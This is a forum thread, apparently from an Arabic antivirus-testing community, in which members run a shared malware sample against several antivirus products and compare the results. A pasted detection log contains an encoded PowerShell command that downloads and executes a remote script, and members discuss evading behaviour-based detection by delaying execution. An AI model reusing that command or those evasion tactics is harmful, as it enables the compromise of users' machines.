تشفيرة ملف خبيث لتجربته بالتشغيل بتاريخ اليوم 14-11-2024

[Ramy BadraanRamy Badraan is verified member.]

ملف مطلوب تجربته بالتشغيل
حتى لو اكتشفه بفك الضغط او الفحص للاشتباه نظراً للتوقيع المبهم
اوقف الفحص وجرب التشغيل
(ممنوع الرفع على فايرس توتال)


الخبراء بس هما اللى يجربوا
وتجميد النظام ضرورى جدا

​

---

يجب عليك تسجيل الدخول أو التسجيل لمشاهدة الرابط المخفي

or

يجب عليك تسجيل الدخول أو التسجيل لمشاهدة الرابط المخفي

​

---

باسوورد فك الضغط

infected​

 

[Ramy BadraanRamy Badraan is verified member.]

@khaled_jtv
احتمال يتخطى بت ديفندر على فكرة
او هيكتشفه بعد ما يشتغل شوية مش على طول
علشان بت ديفندر بيحلل سلوك بالتايم لاين بتاع الملف
ودى ميزة بس فى نفس الوقت عيب قااااااااااااتل

 

[احمد المخاتره]

بالفحص مكتشف من النود

اوقفت الحماية الفعلية وشغلت الملف

 

[Ramy BadraanRamy Badraan is verified member.]

يجب عليك تسجيل الدخول أو التسجيل لمشاهدة الرابط المخفي

لا نود بدأ يظبط نفسه جامد اليومين دول بعد الاصدار الاخير اللى نزل اخر شهر 10 تقريباً
محرك الفحص اتطور وال hips كمان
طبعاً بعد ما كاسبر وقع كل الامريكين بقوا يشتروا النود وبت ديفندر والبلية لعبت معاهم
علشان كدة تلاقى مستواهم بقى كويس الفترة دى
الفلوس بتغير

 

[احمد المخاتره]

الكاسبرسكي

 

[tiktoshitiktoshi is verified member.]

 

[Ramy BadraanRamy Badraan is verified member.]

يجب عليك تسجيل الدخول أو التسجيل لمشاهدة الرابط المخفي

انا مقولتش هواوى يجرب
انا قولت بت ديفندر
وبعدين دة بالفحص انا عايز بالتشغيل
ملف زى دة لو جبت كلب حراسة هيمسكه من التعديل اللى معمول فيه

 

[tiktoshitiktoshi is verified member.]

يجب عليك تسجيل الدخول أو التسجيل لمشاهدة الرابط المخفي

اكتفي بالفحص ai فقط. بالتشغيل اترك الامر لبت ديفندر

 

[Ramy BadraanRamy Badraan is verified member.]

يجب عليك تسجيل الدخول أو التسجيل لمشاهدة الرابط المخفي

طب كابتن
تعرف ابو الهول؟؟ بيقولك خد دول
3 ملفات عنب

يجب عليك تسجيل الدخول أو التسجيل لمشاهدة الرابط المخفي

يجب عليك تسجيل الدخول أو التسجيل لمشاهدة الرابط المخفي

يجب عليك تسجيل الدخول أو التسجيل لمشاهدة الرابط المخفي

وجرب عليهم كاسبر يا باشا @احمد المخاتره
غالبا كاسبر لما يشوفهم هيمسح نفسه من على الجهاز ويعملك بلوك

 

[tiktoshitiktoshi is verified member.]

ملف obs
Detection: HEUR:Trojan/Python.ShellLoader.ap
Detection ID: 69D4249C59C8326D
Path: C:\Users\tikk\Desktop\obs\obs.exe
Action: Read
Result: deleted

Process ID: 6400
Process: C:\Windows\explorer.exe
Process Command line: C:\Windows\Explorer.EXE
Parent Process ID: 6360
Parent: C:\Windows\System32\userinit.exe



ملف 11


Detection: Trojan/PS.Encpe.a
Detection ID: 2B51E8496B7C9729
Path: PowerShell_3FC5E67E7A2EE308AF0369D0E187775E36315E3E
Action: Execute
Result: cleaned

Process ID: 6232
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Process Command line: powershell.exe -WindowStyle Hidden -EncodedCommand SQBFAFgAIAAoAGkAcgBtACAAJwBoAHQAdABwAHMAOgAvAC8AbwBwAGUAbgBhAGkAcwBvAHIAYQBsAGEAYgAuAGMAbwBtAC8AUwB0AG8AcgBhAGcAZQAvAFQAbwB3AHMAZQByAHYAaQBjAGUAcwAuAHQAeAB0ACcAKQA=
Parent Process ID: 9632
Parent: C:\Windows\System32\cmd.exe


ملف 33 به مشكل لم اتحقق منه شوة انا مستعجل بعد شوي راجع ليكم خهههههههههههههه

 

[Ramy BadraanRamy Badraan is verified member.]

يجب عليك تسجيل الدخول أو التسجيل لمشاهدة الرابط المخفي

يعنى هى دى الحجة؟؟
عنيا يا صاحبى خد ملف ال dll اللى هو محتاجه
حط الاتنين فى فولدر واحد وجرب التشغيل تانى

يجب عليك تسجيل الدخول أو التسجيل لمشاهدة الرابط المخفي

 

[tiktoshitiktoshi is verified member.]

يجب عليك تسجيل الدخول أو التسجيل لمشاهدة الرابط المخفي

ملف 33 اشتغل عادي و لا اتصال و اي تنبيه

 

[Phoenix Valley]

tiktoshi​

بيتدفندر ؟ تم تجاوزه ؟
أعتقد ان الفكرة ان خاصية advanced threat defence تصنف الملف حين التشغيل لأول مرة بعد ذلك تثق بالملف وسلوكياته هنا يكون المخترق مسبقاََ برمجه على انه يشتغل بعد اسبوع او شهر وهنا برنامج الحماية قد يكون وثق مسبقا بالملف ولن يفحصه مجدداََ

 

[Ramy BadraanRamy Badraan is verified member.]

يجب عليك تسجيل الدخول أو التسجيل لمشاهدة الرابط المخفي

يا عينى
معلش
قولتلك هواوى محتاج اسكرينة مسمعتش كلامى

 

[tiktoshitiktoshi is verified member.]

يجب عليك تسجيل الدخول أو التسجيل لمشاهدة الرابط المخفي

لا يحبيبي هواوي كان مشعول عشانك
اتفضل
تحديث جديد للمحرك بعد تجربة هههه
مش قاعدة دا محرك

 

[Ramy BadraanRamy Badraan is verified member.]

يجب عليك تسجيل الدخول أو التسجيل لمشاهدة الرابط المخفي

اه بعد ما جربت اول مرة راح تخطاه فهو بقى راح رفع الملفات على السحابة بتاعته فالدعم فحصوا الملفات لقيوها ملغومة راح منزلينهم فى التحديث
خطة فى منتهى الذكاء

 

[khaled_jtv]

يجب عليك تسجيل الدخول أو التسجيل لمشاهدة الرابط المخفي

انا معك انها نقطة ضعف
على فكره البت تطور اليومين دول بشكل
ممتاز
تحياتي

 

[tiktoshitiktoshi is verified member.]

يجب عليك تسجيل الدخول أو التسجيل لمشاهدة الرابط المخفي

هواوي سيضيف 6 طبقات عشان برامج الفدية
دا هواوي مش فاصل شحن على طول هههه مثل زي البرامج لي فصلت شحن و عاد بعتمد على باور بانك وافيرا و افاست و بولجارد بجنبها هههه
بولجارد سيستدبل ماكان دييب جارد في f-secure

 

[Ramy BadraanRamy Badraan is verified member.]

يجب عليك تسجيل الدخول أو التسجيل لمشاهدة الرابط المخفي

انت جربته علي الملف ولا لا؟؟

 

[Ramy BadraanRamy Badraan is verified member.]

يجب عليك تسجيل الدخول أو التسجيل لمشاهدة الرابط المخفي

يا عم خليه يضيف براحته
عقبال ما يبقى برنامج حماية يا رب
انا بتمناله الخير زى ما بتمناه لكومودو بالظبط